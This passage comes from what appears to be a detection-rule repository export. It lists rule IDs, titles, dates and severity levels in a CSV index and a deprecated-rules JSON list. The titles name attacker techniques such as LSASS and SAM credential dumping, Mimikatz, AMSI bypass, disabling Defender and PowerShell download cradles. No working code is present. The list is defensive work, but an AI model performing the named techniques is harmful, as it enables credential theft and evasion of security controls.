Registry,2020-09-29,2023-08-17,high\n7c637634-c95d-4bbf-b26c-a82510874b34,Disable Microsoft Office Security Features,2021-06-08,2023-08-17,high\n8a58209c-7ae6-4027-afb0-307a78e4589a,User Account Hidden By Registry,2022-08-20,2023-08-17,high\n9b894e57-033f-46cf-b7fa-a52804181973,Office Security Settings Changed,2020-05-22,2023-08-17,high\nc81fe886-cac0-4913-a511-2822d72ff505,SilentProcessExit Monitor Registration,2021-02-26,2023-08-17,high\n0c1ffcf9-efa9-436e-ab68-23a9496ebf5b,User Added To Admin Group - MacOS,2023-03-19,2023-08-22,medium\n5b80cf53-3a46-4adc-960b-05ec19348d74,Wscript Execution from Non C Drive,2022-10-01,2023-08-29,medium\n5e3d3601-0662-4af0-b1d2-36a05e90c40a,LSASS Memory Dump File Creation,2019-10-22,2023-08-29,high\n839f1ee1-292d-495a-bf37-818267b8ee82,Vulnerable Driver Load By Name,2022-10-03,2023-09-03,low\n21b23707-60d6-41bb-96e3-0f0481b0fed9,Vulnerable Dell BIOS Update Driver Load,2021-05-05,2023-09-12,high\n7bcfeece-e5ed-4ff3-a5fb-2640d8cc8647,Vulnerable GIGABYTE Driver Load,2022-07-25,2023-09-12,high\n7c676970-af4f-43c8-80af-ec9b49952852,Vulnerable AVAST Anti Rootkit Driver Load,2022-07-28,2023-09-12,high\n9bacc538-d1b9-4d42-862e-469eafc05a41,Vulnerable HW Driver Load,2022-07-26,2023-09-12,high\nac683a42-877b-4ff8-91ac-69e94b0f70b4,Vulnerable Lenovo Driver Load,2022-11-10,2023-09-12,high\n91bc09e7-674d-4cf5-8d86-ed5d8bdb95a6,Usage Of Malicious POORTRY Signed Driver,2022-12-16,2023-09-13,high\nd7825193-b70a-48a4-b992-8b5b3015cc11,Windows Update Client LOLBIN,2020-10-17,2023-11-11,high\nca83e9f3-657a-45d0-88d6-c1ac280caf53,New Service Uses Double Ampersand in Path,2022-07-05,2023-11-15,high\nfe34868f-6e0e-4882-81f6-c43aa8f15b62,Windows Defender Threat Detection Disabled,2020-07-28,2023-11-22,high\n32d0d3e2-e58d-4d41-926b-18b520b2b32d,Credential Dumping Tools Accessing LSASS Memory,2017-02-16,2023-11-30,high\na122ac13-daf8-4175-83a2-72c387be339d,Security Event Log Cleared,2021-08-15,2023-12-06,medium\n0332a266-b584-47b4-933d-a00b103e1b37,Suspicious Get-WmiObject,2022-01-12,2023-12-11,low\n46deb5e1-28c9-4905-b2df-51cdcc9e6073,PowerShell Scripts Run by a Services,2020-10-06,2023-12-11,high\nd23f2ba5-9da0-4463-8908-8ee47f614bb9,Powershell File and Directory Discovery,2021-12-15,2023-12-11,low\ndf5ff0a5-f83f-4a5b-bba1-3e6a3f6f6ea2,Credential Dumping Tools Service Execution,2017-03-05,2023-12-11,critical\n602a1f13-c640-4d73-b053-be9a2fa58b77,Svchost DLL Search Order Hijack,2019-10-28,2024-01-10,high\n839dd1e8-eda8-4834-8145-01beeee33acd,SAM Dump to AppData,2018-01-27,2024-01-18,high\ne32ce4f5-46c6-4c47-ba69-5de3c9193cd7,Possible Process Hollowing Image Loading,2018-01-07,2024-01-22,high\na6d67db4-6220-436d-8afc-f3842fe05d43,Dnscat Execution,2019-10-24,2024-01-25,critical\nd7b09985-95a3-44be-8450-b6eadf49833e,Suspicious Non-Browser Network Communication With Reddit API,2023-02-16,2024-02-02,medium\n37325383-740a-403d-b1a2-b2b4ab7992e7,CobaltStrike Malleable (OCSP) Profile,2019-11-12,2024-02-15,high\n41b42a36-f62c-4c34-bd40-8cb804a34ad8,CobaltStrike Malformed UAs in Malleable Profiles,2021-05-06,2024-02-15,critical\n953b895e-5cc9-454b-b183-7f3db555452e,CobaltStrike Malleable Amazon Browsing Traffic Profile,2019-11-12,2024-02-15,high\nc9b33401-cc6a-4cf6-83bb-57ddcb2407fc,CobaltStrike Malleable OneDrive Browsing Traffic Profile,2019-11-12,2024-02-15,high\n73fcad2e-ff14-4c38-b11d-4172c8ac86c7,Suspicious Rundll32 Script in CommandLine,2021-12-04,2024-02-23,medium\n9f06447a-a33a-4cbe-a94f-a3f43184a7a3,Rundll32 JS RunHTMLApplication Pattern,2022-01-14,2024-02-23,high\ne06ac91d-b9e6-443d-8e5b-af749e7aa6b6,iOS Implant URL Pattern,2019-08-30,2024-02-26,critical\n628d7a0b-7b84-4466-8552-e6138bc03b43,Suspicious Epmap Connection,2022-07-14,2024-03-01,high\n9433ff9c-5d3f-4269-99f8-95fc826ea489,CrackMapExec File Creation Patterns,2022-03-12,2024-03-01,high\nc625c4c2-515d-407f-8bb6-456f65955669,Service Binary in Uncommon Folder,2022-05-02,2024-03-25,medium\n42f0e038-767e-4b85-9d96-2c6335bad0b5,Adwind RAT / JRAT - Registry,2017-11-10,2024-03-26,high\n5039f3d2-406a-4c1a-9350-7a5a85dc84c2,Search-ms and WebDAV Suspicious Indicators in URL,2023-08-21,2024-05-10,high\nb916cba1-b38a-42da-9223-17114d846fd6,Potential NT API Stub Patching,2023-01-07,2024-05-27,medium\n3d968d17-ffa4-4bc0-bfdc-f139de76ce77,Potential Persistence Via COM Hijacking From Suspicious Locations,2022-07-28,2024-07-16,high\n1a3d42dd-3763-46b9-8025-b5f17f340dfb,Suspicious Unattend.xml File Access,2021-12-19,2024-07-22,medium\n6902955a-01b7-432c-b32a-6f5f81d8f624,Suspicious File Event With Teams Objects,2022-09-16,2024-07-22,high\na0ff33d8-79e4-4cef-b4f3-9dc4133ccd12,Potential Persistence Via COM Search Order Hijacking,2020-04-14,2024-09-02,medium\na33f8808-2812-4373-ae95-8cfb82134978,Windows Defender Exclusion Deleted,2019-10-26,2025-01-30,medium\ne17121b4-ef2a-4418-8a59-12fb1631fa9e,Delete Volume Shadow Copies via WMI with PowerShell - PS Script,2021-12-26,2025-05-20,high\n6e897651-f157-4d8f-aaeb-df8151488385,PowerShell Web Download,2022-03-24,2025-07-18,medium\nf748c45a-f8d3-4e6f-b617-fe176f695b8f,.RDP File Created by Outlook Process,2024-11-01,2025-07-22,high\na2a3b925-7bb0-433b-b508-db9003263cc4,Active Directory Parsing DLL Loaded Via Office Application,2020-02-19,2025-10-17,medium\ncdeef967-f9a1-4375-90ee-6978c5f23974,Azure Application Credential Modified,2021-09-02,2025-10-17,medium\n8f70ac5f-1f6f-4f8e-b454-db19561216c5,PowerShell DownloadFile,2020-08-28,2025-10-20,high\ne28a5a99-da44-436d-b7a0-2afc20a5f413,Whoami Utility Execution,2018-08-13,2025-10-20,low\n7417e29e-c2e7-4cf6-a2e8-767228c64837,Active Directory Kerberos DLL Loaded Via Office Application,2020-02-19,2025-10-22,medium\n879c3015-c88b-4782-93d7-07adf92dbcb7,Space After Filename,2020-06-17,2025-11-22,low\ne710a880-1f18-4417-b6a0-b5afdf7e305a,Atomic MacOS Stealer - FileGrabber Infostealer Execution,2025-09-12,2025-11-22,high\n4be03877-d5b6-4520-85c9-a5911c0a656c,FileFix - Suspicious Child Process from Browser File Upload Abuse,2025-06-26,2025-11-24,high\n6e30c82f-a9f8-4aab-b79c-7c12bce6f248,File Download Via Bitsadmin To An Uncommon Target Folder,2022-06-28,2025-12-10,medium\n"
},
{
"path": "deprecated/deprecated.json",
"content": "[\n {\n \"id\": \"867613fb-fa60-4497-a017-a82df74a172c\",\n \"title\": \"PowerShell Execution\",\n \"date\": \"2019-09-12\",\n \"modified\": \"2021-11-05\",\n \"level\": \"medium\"\n },\n {\n \"id\": \"0d894093-71bc-43c3-8c4d-ecfc28dcf5d9\",\n \"title\": \"Mimikatz Detection LSASS Access\",\n \"date\": \"2017-10-18\",\n \"modified\": \"2022-04-11\",\n \"level\": \"high\"\n },\n {\n \"id\": \"3d304fda-78aa-43ed-975c-d740798a49c1\",\n \"title\": \"Suspicious PowerShell Invocations - Generic\",\n \"date\": \"2017-03-12\",\n \"modified\": \"2022-04-11\",\n \"level\": \"high\"\n },\n {\n \"id\": \"56a8189f-11b2-48c8-8ca7-c54b03c2fbf7\",\n \"title\": \"Suspicious Esentutl Use\",\n \"date\": \"2020-05-23\",\n \"modified\": \"2022-04-11\",\n \"level\": \"high\"\n },\n {\n \"id\": \"65531a81-a694-4e31-ae04-f8ba5bc33759\",\n \"title\": \"Suspicious PowerShell Download\",\n \"date\": \"2017-03-05\",\n \"modified\": \"2022-04-11\",\n \"level\": \"medium\"\n },\n {\n \"id\": \"9f7aa113-9da6-4a8d-907c-5f1a4b908299\",\n \"title\": \"SyncAppvPublishingServer Execution to Bypass Powershell Restriction\",\n \"date\": \"2020-10-05\",\n \"modified\": \"2022-04-11\",\n \"level\": \"medium\"\n },\n {\n \"id\": \"a0d63692-a531-4912-ad39-4393325b2a9c\",\n \"title\": \"RClone Execution\",\n \"date\": \"2021-05-10\",\n \"modified\": \"2022-04-11\",\n \"level\": \"high\"\n },\n {\n \"id\": \"b932b60f-fdda-4d53-8eda-a170c1d97bbd\",\n \"title\": \"Activity Related to NTDS.dit Domain Hash Retrieval\",\n \"date\": \"2019-01-16\",\n \"modified\": \"2022-04-11\",\n \"level\": \"high\"\n },\n {\n \"id\": \"cb7286ba-f207-44ab-b9e6-760d82b84253\",\n \"title\": \"Rclone Execution via Command Line or PowerShell\",\n \"date\": \"2021-05-26\",\n \"modified\": \"2022-04-11\",\n \"level\": \"high\"\n },\n {\n \"id\": \"fde7929d-8beb-4a4c-b922-be9974671667\",\n \"title\": \"SyncAppvPublishingServer Execution to Bypass Powershell Restriction\",\n \"date\": \"2020-10-05\",\n \"modified\": \"2022-04-11\",\n \"level\": \"medium\"\n },\n {\n \"id\": \"17f878b8-9968-4578-b814-c4217fc5768c\",\n \"title\": \"Autorun Keys Modification\",\n \"date\": \"2019-10-25\",\n \"modified\": \"2022-05-14\",\n \"level\": \"medium\"\n },\n {\n \"id\": \"29d31aee-30f4-4006-85a9-a4a02d65306c\",\n \"title\": \"Lateral Movement Indicator ConDrv\",\n \"date\": \"2021-04-27\",\n \"modified\": \"2022-05-14\",\n \"level\": \"low\"\n },\n {\n \"id\": \"98f4c75c-3089-44f3-b733-b327b9cd9c9d\",\n \"title\": \"Accessing Encrypted Credentials from Google Chrome Login Database\",\n \"date\": \"2021-12-20\",\n \"modified\": \"2022-05-14\",\n \"level\": \"medium\"\n },\n {\n \"id\": \"a457f232-7df9-491d-898f-b5aabd2cbe2f\",\n \"title\": \"Windows Management Instrumentation DLL Loaded Via Microsoft Word\",\n \"date\": \"2019-12-26\",\n \"modified\": \"2022-05-14\",\n \"level\": \"informational\"\n },\n {\n \"id\": \"db2110f3-479d-42a6-94fb-d35bc1e46492\",\n \"title\": \"CreateMiniDump Hacktool\",\n \"date\": \"2019-12-22\",\n \"modified\": \"2022-05-14\",\n \"level\": \"high\"\n },\n {\n \"id\": \"2621b3a6-3840-4810-ac14-a02426086171\",\n \"title\": \"Winword.exe Loads Suspicious DLL\",\n \"date\": \"2020-10-09\",\n \"modified\": \"2022-07-25\",\n \"level\": \"medium\"\n },\n {\n \"id\": \"bf6c39fc-e203-45b9-9538-05397c1b4f3f\",\n \"title\": \"Abusing Findstr for Defense Evasion\",\n \"date\": \"2020-10-05\",\n \"modified\": \"2022-10-12\",\n \"level\": \"medium\"\n },\n {\n \"id\": \"82a19e3a-2bfe-4a91-8c0d-5d4c98fbb719\",\n \"title\": \"Possible Applocker Bypass\",\n \"date\": \"2019-01-16\",\n \"modified\": \"2022-11-03\",\n \"level\": \"low\"\n },\n {\n \"id\": \"dca91cfd-d7ab-4c66-8da7-ee57d487b35b\",\n \"title\": \"Process Start From Suspicious Folder\",\n \"date\": \"2022-02-11\",\n \"modified\": \"2022-11-03\",\n \"level\": \"low\"\n },\n {\n \"id\": \"53c7cca0-2901-493a-95db-d00d6fcf0a37\",\n \"title\": \"Brute Force\",\n \"date\": \"2019-10-25\",\n \"modified\": \"2022-11-04\",\n \"level\": \"medium\"\n },\n {\n \"id\": \"5f113a8f-8b61-41ca-b90f-d374fa7e4a39\",\n \"title\": \"Suspicious In-Memory Module Execution\",\n \"date\": \"2019-10-27\",\n \"modified\": \"2022-11-17\",\n \"level\": \"low\"\n },\n {\n \"id\": \"f67dbfce-93bc-440d-86ad-a95ae8858c90\",\n \"title\": \"Suspicious Bitsadmin Job via PowerShell\",\n \"date\": \"2018-10-30\",\n \"modified\": \"2022-11-21\",\n \"level\": \"high\"\n },\n {\n \"id\": \"9d1c72f5-43f0-4da5-9320-648cf2099dd0\",\n \"title\": \"Excel Proxy Executing Regsvr32 With Payload\",\n \"date\": \"2021-08-23\",\n \"modified\": \"2022-12-02\",\n \"level\": \"high\"\n },\n {\n \"id\": \"c0e1c3d5-4381-4f18-8145-2583f06a1fe5\",\n \"title\": \"Excel Proxy Executing Regsvr32 With Payload Alternate\",\n \"date\": \"2021-08-23\",\n \"modified\": \"2022-12-02\",\n \"level\": \"high\"\n },\n {\n \"id\": \"72671447-4352-4413-bb91-b85569687135\",\n \"title\": \"Nslookup PwSh Download Cradle\",\n \"date\": \"2022-09-06\",\n \"modified\": \"2022-12-14\",\n \"level\": \"medium\"\n },\n {\n \"id\": \"3f07b9d1-2082-4c56-9277-613a621983cc\",\n \"title\": \"Accessing WinAPI in PowerShell for Credentials Dumping\",\n \"date\": \"2020-10-06\",\n \"modified\": \"2022-12-18\",\n \"level\": \"high\"\n },\n {\n \"id\": \"e554f142-5cf3-4e55-ace9-a1b59e0def65\",\n \"title\": \"DCOM InternetExplorer.Application Iertutil DLL Hijack - Sysmon\",\n \"date\": \"2020-10-12\",\n \"modified\": \"2022-12-18\",\n \"level\": \"critical\"\n },\n {\n \"id\": \"17eb8e57-9983-420d-ad8a-2c4976c22eb8\",\n \"title\": \"MavInject Process Injection\",\n \"date\": \"2018-12-12\",\n \"modified\": \"2022-12-19\",\n \"level\": \"high\"\n },\n {\n \"id\": \"36c5146c-d127-4f85-8e21-01bf62355d5a\",\n \"title\": \"Invoke-Obfuscation Via Use Rundll32\",\n \"date\": \"2019-10-08\",\n \"modified\": \"2022-12-30\",\n \"level\": \"high\"\n },\n {\n \"id\": \"6d3f1399-a81c-4409-aff3-1ecfe9330baf\",\n \"title\": \"PrintNightmare Powershell Exploitation\",\n \"date\": \"2021-08-09\",\n \"modified\": \"2023-01-02\",\n \"level\": \"high\"\n },\n {\n \"id\": \"83083ac6-1816-4e76-97d7-59af9a9ae46e\",\n \"title\": \"AzureHound PowerShell Commands\",\n \"date\": \"2021-10-23\",\n \"modified\": \"2023-01-02\",\n \"level\": \"high\"\n },\n {\n \"id\": \"a85cf4e3-56ee-4e79-adeb-789f8fb209a8\",\n \"title\": \"Indirect Command Exectuion via Forfiles\",\n \"date\": \"2022-10-17\",\n \"modified\": \"2023-01-04\",\n \"level\": \"medium\"\n },\n {\n \"id\": \"fa47597e-90e9-41cd-ab72-c3b74cfb0d02\",\n \"title\": \"Indirect Command Execution\",\n \"date\": \"2019-10-24\",\n \"modified\": \"2023-01-04\",\n \"level\": \"low\"\n },\n {\n \"id\": \"e4b63079-6198-405c-abd7-3fe8b0ce3263\",\n \"title\": \"Suspicious CLR Logs Creation\",\n \"date\": \"2020-10-12\",\n \"modified\": \"2023-01-05\",\n \"level\": \"high\"\n },\n {\n \"id\": \"cd5c8085-4070-4e22-908d-a5b3342deb74\",\n \"title\": \"Suspicious Bitstransfer via PowerShell\",\n \"date\": \"2021-08-19\",\n \"modified\": \"2023-01-10\",\n \"level\": \"medium\"\n },\n {\n \"id\": \"d178a2d7-129a-4ba4-8ee6-d6e1fecd5d20\",\n \"title\": \"Renamed PowerShell\",\n \"date\": \"2019-08-22\",\n \"modified\": \"2023-01-18\",\n \"level\": \"high\"\n },\n {\n \"id\": \"d4d2574f-ac17-4d9e-b986-aeeae0dc8fe2\",\n \"title\": \"Renamed Rundll32.exe Execution\",\n \"date\": \"2022-06-08\",\n \"modified\": \"2023-01-18\",\n \"level\": \"high\"\n },\n {\n \"id\": \"e31f89f7-36fb-4697-8ab6-48823708353b\",\n \"title\": \"Suspicious Cmd Execution via WMI\",\n \"date\": \"2022-09-27\",\n \"modified\": \"2023-01-19\",\n \"level\": \"medium\"\n },\n {\n \"id\": \"bf7286e7-c0be-460b-a7e8-5b2e07ecc2f2\",\n \"title\": \"Netcat The Powershell Version - PowerShell Module\",\n \"date\": \"2021-07-21\",\n \"modified\": \"2023-01-20\",\n \"level\": \"medium\"\n },\n {\n \"id\": \"47688f1b-9f51-4656-b013-3cc49a166a36\",\n \"title\": \"Base64 Encoded Listing of Shadowcopy\",\n \"date\": \"2022-03-01\",\n \"modified\": \"2023-01-30\",\n \"level\": \"high\"\n },\n {\n \"id\": \"5b572dcf-254b-425c-a8c5-d9af6bea35a6\",\n \"title\": \"Potential Xor Encoded PowerShell Command\",\n \"date\": \"2022-07-06\",\n \"modified\": \"2023-01-30\",\n \"level\": \"medium\"\n },\n {\n \"id\": \"fd6e2919-3936-40c9-99db-0aa922c356f7\",\n \"title\": \"Malicious Base64 Encoded Powershell Invoke Cmdlets\",\n \"date\": \"2022-05-31\",\n \"modified\": \"2023-01-30\",\n \"level\": \"high\"\n },\n {\n \"id\": \"eeb66bbb-3dde-4582-815a-584aee9fe6d1\",\n \"title\": \"Correct Execution of Nltest.exe\",\n \"date\": \"2021-10-04\",\n \"modified\": \"2023-02-02\",\n \"level\": \"high\"\n },\n {\n \"id\": \"0acaad27-9f02-4136-a243-c357202edd74\",\n \"title\": \"Ryuk Ransomware Command Line Activity\",\n \"date\": \"2019-08-06\",\n \"modified\": \"2023-02-03\",\n \"level\": \"critical\"\n },\n {\n \"id\": \"4f927692-68b5-4267-871b-073c45f4f6fe\",\n \"title\": \"PowerShell AMSI Bypass Pattern\",\n \"date\": \"2022-11-04\",\n \"modified\": \"2023-02-03\",\n \"level\": \"high\"\n },\n {\n \"id\": \"038cd51c-3ad8-41c5-ba8f-5d1c92f3cc1e\",\n \"title\": \"Registry Dump of SAM Creds and Secrets\",\n \"date\": \"2022-01-05\",\n \"modified\": \"2023-02-04\",\n \"level\": \"high\"\n },\n {\n \"id\": \"04f5363a-6bca-42ff-be70-0d28bf629ead\",\n \"title\": \"Office Applications Spawning Wmi Cli Alternate\",\n \"date\": \"2021-08-23\",\n \"modified\": \"2023-02-04\",\n \"level\": \"high\"\n },\n {\n \"id\": \"23daeb52-e6eb-493c-8607-c4f0246cb7d8\",\n \"title\": \"New Lolbin Process by Office Applications\",\n \"date\": \"2021-08-23\",\n \"modified\": \"2023-02-04\",\n \"level\": \"high\"\n },\n {\n \"id\": \"518643ba-7d9c-4fa5-9f37-baed36059f6a\",\n \"title\": \"WMI Execution Via Office Process\",\n \"date\": \"2021-08-23\",\n \"modified\": \"2023-02-04\",\n \"level\": \"medium\"\n },\n {\n \"id\": \"77815820-246c-47b8-9741-e0def3f57308\",\n \"title\": \"Domain Trust Discovery\",\n \"date\": \"2019-10-23\",\n \"modified\": \"2023-02-04\",\n \"level\": \"medium\"\n },\n {\n \"id\": \"4d6c9da1-318b-4edf-bcea-b6c93fa98fd0\",\n \"title\": \"Credential Acquisition via Registry Hive Dumping\",\n \"date\": \"2022-10-04\",\n \"modified\": \"2023-02-06\",\n \"level\": \"high\"\n },\n {\n \"id\": \"6545ce61-a1bd-4119-b9be-fcbee42c0cf3\",\n \"title\": \"Execute MSDT.EXE Using Diagcab File\",\n \"date\": \"2022-06-09\",\n \"modified\": \"2023-02-06\",\n \"level\": \"high\"\n },\n {\n \"id\": \"9841b233-8df8-4ad7-9133-b0b4402a9014\",\n \"title\": \"Sysinternals SDelete Registry Keys\",\n \"date\": \"2020-05-02\",\n \"modified\": \"2023-02-07\",\n \"level\": \"medium\"\n },\n {\n \"id\": \"09af397b-c5eb-4811-b2bb-08b3de464ebf\",\n \"title\": \"WMI Reconnaissance List Remote Services\",\n \"date\": \"2022-01-01\",\n \"modified\": \"2023-02-14\",\n \"level\": \"medium\"\n },\n {\n \"id\": \"7b0666ad-3e38-4e3d-9bab-78b06de85f7b\",\n \"title\": \"Renamed PaExec Execution\",\n \"date\": \"2019-04-17\",\n \"modified\": \"2023-02-14\",\n \"level\": \"medium\"\n },\n {\n \"id\": \"bc3cc333-48b9-467a-9d1f-d44ee594ef48\",\n \"title\": \"SCM DLL Sideload\",\n \"date\": \"2022-12-01\",\n \"modified\": \"2023-02-14\",\n \"level\": \"medium\"\n },\n {\n \"id\": \"e42af9df-d90b-4306-b7fb-05c863847ebd\",\n \"title\": \"WMI Remote Command Execution\",\n \"date\": \"2022-03-13\",\n \"modified\": \"2023-02-14\",\n \"level\": \"medium\"\n },\n {\n \"id\": \"fa4b21c9-0057-4493-b289-2556416ae4d7\",\n \"title\": \"Squirrel Lolbin\",\n \"date\": \"2019-11-12\",\n \"modified\": \"2023-02-14\",\n \"level\": \"medium\"\n },\n {\n \"id\": \"e011a729-98a6-4139-b5c4-bf6f6dd8239a\",\n \"title\": \"Suspicious Certutil Command Usage\",\n \"date\": \"2019-01-16\",\n \"modified\": \"2023-02-15\",\n \"level\": \"high\"\n },\n {\n \"id\": \"034affe8-6170-11ec-844f-0f78aa0c4d66\",\n \"title\": \"Mimikatz MemSSP Default Log File Creation\",\n \"date\": \"2021-12-20\",\n \"modified\": \"2023-02-16\",\n \"level\": \"critical\"\n },\n {\n \"id\": \"7fe71fc9-de3b-432a-8d57-8c809efc10ab\",\n \"title\": \"New Service Creation\",\n \"date\": \"2019-10-21\",\n \"modified\": \"2023-02-20\",\n \"level\": \"low\"\n },\n {\n \"id\": \"056a7ee1-4853-4e67-86a0-3fd9ceed7555\",\n \"title\": \"Invoke-Obfuscation RUNDLL LAUNCHER\",\n \"date\": \"2020-10-18\",\n \"modified\": \"2023-02-21\",\n \"level\": \"medium\"\n },\n {\n \"id\": \"3ede524d-21cc-472d-a3ce-d21b568d8db7\",\n \"title\": \"PsExec Service Start\",\n \"date\": \"2018-03-13\",\n \"modified\": \"2023-02-28\",\n \"level\": \"low\"\n },\n {\n \"id\": \"80167ada-7a12-41ed-b8e9-aa47195c66a1\",\n \"title\": \"Run Whoami as SYSTEM\",\n \"date\": \"2019-10-23\",\n \"modified\": \"2023-02-28\",\n \"level\": \"high\"\n },\n {\n \"id\": \"fa91cc36-24c9-41ce-b3c8-3bbc3f2f67ba\",\n \"title\": \"PsExec Tool Execution\",\n \"date\": \"2017-06-12\",\n \"modified\": \"2023-02-28\",\n \"level\": \"low\"\n },\n {\n \"id\": \"2c0d2d7b-30d6-4d14-9751-7b9113042ab9\",\n \"title\": \"Suspicious Characters in CommandLine\",\n \"date\": \"2022-04-27\",\n \"modified\": \"2023-03-03\",\n \"level\": \"high\"\n },\n {\n \"id\": \"6783aa9e-0dc3-49d4-a94a-8b39c5fd700b\",\n \"title\": \"Stop Or Remove Antivirus Service\",\n \"date\": \"2021-07-07\",\n \"modified\": \"2023-03-04\",\n \"level\": \"high\"\n },\n {\n \"id\": \"7fd4bb39-12d0-45ab-bb36-cebabc73dc7b\",\n \"title\": \"Suspicious Execution of Sc to Delete AV Services\",\n \"date\": \"2022-08-01\",\n \"modified\": \"2023-03-04\",\n \"level\": \"high\"\n },\n {\n \"id\": \"a7a7e0e5-1d57-49df-9c58-9fe5bc0346a2\",\n \"title\": \"Renamed PsExec\",\n \"date\": \"2019-05-21\",\n \"modified\": \"2023-03-04\",\n \"level\": \"high\"\n },\n {\n \"id\": \"1a70042a-6622-4a2b-8958-267625349abf\",\n \"title\": \"Run from a Zip File\",\n \"date\": \"2021-12-26\",\n \"modified\": \"2023-03-05\",\n \"level\": \"medium\"\n },\n {\n \"id\": \"46591fae-7a4c-46ea-aec3-dff5e6d785dc\",\n \"title\": \"Root Certificate Installed\",\n \"date\": \"2020-10-10\",\n \"modified\": \"2023-03-05\",\n \"level\": \"medium\"\n },\n {\n \"id\": \"eb87818d-db5d-49cc-a987-d5da331fbd90\",\n \"title\": \"Stop Windows Service\",\n \"date\": \"2019-10-23\",\n \"modified\": \"2023-03-05\",\n \"level\": \"low\"\n },\n {\n \"id\": \"23250293-eed5-4c39-b57a-841c8933a57d\",\n \"title\": \"Visual Basic Script Execution\",\n \"date\": \"2022-01-02\",\n \"modified\": \"2023-03-06\",\n \"level\": \"medium\"\n },\n {\n \"id\": \"344482e4-a477-436c-aa70-7536d18a48c7\",\n \"title\": \"Execution via MSSQL Xp_cmdshell Stored Procedure\",\n \"date\": \"2022-09-28\",\n \"modified\": \"2023-03-06\",\n \"level\": \"high\"\n },\n {\n \"id\": \"00a4bacd-6db4-46d5-9258-a7d5ebff4003\",\n \"title\": \"Read and Execute a File Via Cmd.exe\",\n \"date\": \"2022-08-20\",\n \"modified\": \"2023-03-07\",\n \"level\": \"medium\"\n },\n {\n \"id\": \"70e68156-6571-427b-a6e9-4476a173a9b6\",\n \"title\": \"Cmd Stream Redirection\",\n \"date\": \"2022-02-04\",\n \"modified\": \"2023-03-07\",\n \"level\": \"medium\"\n },\n {\n \"id\": \"033fe7d6-66d1-4240-ac6b-28908009c71f\",\n \"title\": \"APT29\",\n \"date\": \"2018-12-04\",\n \"modified\": \"2023-03-08\",\n \"level\": \"high\"\n },\n {\n \"id\": \"04d9079e-3905-4b70-ad37-6bdf11304965\",\n \"title\": \"CrackMapExecWin\",\n \"date\": \"2018-04-08\",\n \"modified\": \"2023-03-08\",\n \"level\": \"critical\"\n },\n {\n \"id\": \"18739897-21b1-41da-8ee4-5b786915a676\",\n \"title\": \"GALLIUM Artefacts\",\n \"date\": \"2020-02-07\",\n \"modified\": \"2023-03-09\",\n \"level\": \"high\"\n },\n {\n \"id\": \"0eb2107b-a596-422e-b123-b389d5594ed7\",\n \"title\": \"Hurricane Panda Activity\",\n \"date\": \"2019-03-04\",\n \"modified\": \"2023-03-10\",\n \"level\": \"high\"\n },\n {\n \"id\": \"4a12fa47-c735-4032-a214-6fab5b120670\",\n \"title\": \"Lazarus Activity Apr21\",\n \"date\": \"2021-04-20\",\n \"modified\": \"2023-03-10\",\n \"level\": \"high\"\n },\n {\n \"id\": \"7454df60-1478-484b-810d-bff5d0ba6d4b\",\n \"title\": \"DNS Tunnel Technique from MuddyWater\",\n \"date\": \"2020-06-04\",\n \"modified\": \"2023-03-10\",\n \"level\": \"critical\"\n },\n {\n \"id\": \"7b49c990-4a9a-4e65-ba95-47c9cc448f6e\",\n \"title\": \"Lazarus Loaders\",\n \"date\": \"2020-12-23\",\n \"modified\": \"2023-03-10\",\n \"level\": \"critical\"\n },\n {\n \"id\": \"43f487f0-755f-4c2a-bce7-d6d2eec2fcf8\",\n \"title\": \"Suspicious Add Scheduled Task From User AppData Temp\",\n \"date\": \"2021-11-03\",\n \"modified\": \"2023-03-14\",\n \"level\": \"high\"\n },\n {\n \"id\": \"d813d662-785b-42ca-8b4a-f7457d78d5a9\",\n \"title\": \"Suspicious Load of Advapi31.dll\",\n \"date\": \"2022-02-03\",\n \"modified\": \"2023-03-15\",\n \"level\": \"informational\"\n },\n {\n \"id\": \"e74e15cc-c4b6-4c80-b7eb-dfe49feb7fe9\",\n \"title\": \"Edit of .bash_profile and .bashrc\",\n \"date\": \"2019-05-12\",\n \"modified\": \"2023-03-23\",\n \"level\": \"medium\"\n },\n {\n \"id\": \"ba2a7c80-027b-460f-92e2-57d113897dbc\",\n \"title\": \"App Permissions Granted For Other APIs\",\n \"date\": \"2022-07-28\",\n \"modified\": \"2023-03-29\",\n \"level\": \"medium\"\n },\n {\n \"id\": \"18cf6cf0-39b0-4c22-9593-e244bdc9a2d4\",\n \"title\": \"TA505 Dropper Load Pattern\",\n \"date\": \"2020-12-08\",\n \"modified\": \"2023-04-05\",\n \"level\": \"critical\"\n },\n {\n \"id\": \"2d117e49-e626-4c7c-bd1f-c3c0147774c8\",\n \"title\": \"Potential PowerShell Base64 Encoded Shellcode\",\n \"date\": \"2018-11-17\",\n \"modified\": \"2023-04-06\",\n \"level\": \"medium\"\n },\n {\n \"id\": \"635dbb88-67b3-4b41-9ea5-a3af2dd88153\",\n \"title\": \"Microsoft Binary Github Communication\",\n \"date\": \"2017-08-24\",\n \"modified\": \"2023-04-18\",\n \"level\": \"high\"\n },\n {\n \"id\": \"6c939dfa-c710-4e12-a4dd-47e1f10e68e1\",\n \"title\": \"Domestic Kitten FurBall Malware Pattern\",\n \"date\": \"2021-02-08\",\n \"modified\": \"2023-04-20\",\n \"level\": \"high\"\n },\n {\n \"id\": \"6355a919-2e97-4285-a673-74645566340d\",\n \"title\": \"Process Memory Dumped Via RdrLeakDiag.EXE\",\n \"date\": \"2022-01-04\",\n \"modified\": \"2023-04-24\",\n \"level\": \"high\"\n },\n {\n \"id\": \"9cf01b6c-e723-4841-a868-6d7f8245ca6e\",\n \"title\": \"Group Modification Logging\",\n \"date\": \"2019-03-26\",\n \"modified\": \"2023-04-26\",\n \"level\": \"low\"\n },\n {\n \"id\": \"410ad193-a728-4107-bc79-4419789fcbf8\",\n \"title\": \"Trickbot Malware Reconnaissance Activity\",\n \"date\": \"2019-12-28\",\n \"modified\": \"2023-04-28\",\n \"level\": \"high\"\n },\n {\n \"id\": \"fce5f582-cc00-41e1-941a-c6fabf0fdb8c\",\n \"title\": \"Suspicious PowerShell Invocations - Specific\",\n \"date\": \"2017-03-05\",\n \"modified\": \"2023-05-04\",\n \"level\": \"high\"\n },\n {\n \"id\": \"f016c716-754a-467f-a39e-63c06f773987\",\n \"title\": \"Suspicious Remote Thread Target\",\n \"date\": \"2022-08-25\",\n \"modified\": \"2023-05-05\",\n \"level\": \"medium\"\n },\n {\n \"id\": \"65d2be45-8600-4042-b4c0-577a1ff8a60e\",\n \"title\": \"Application Whitelisting Bypass via DLL Loaded by odbcconf.exe\",\n \"date\": \"2019-10-25\",\n \"modified\": \"2023-05-22\",\n \"level\": \"medium\"\n },\n {\n \"id\": 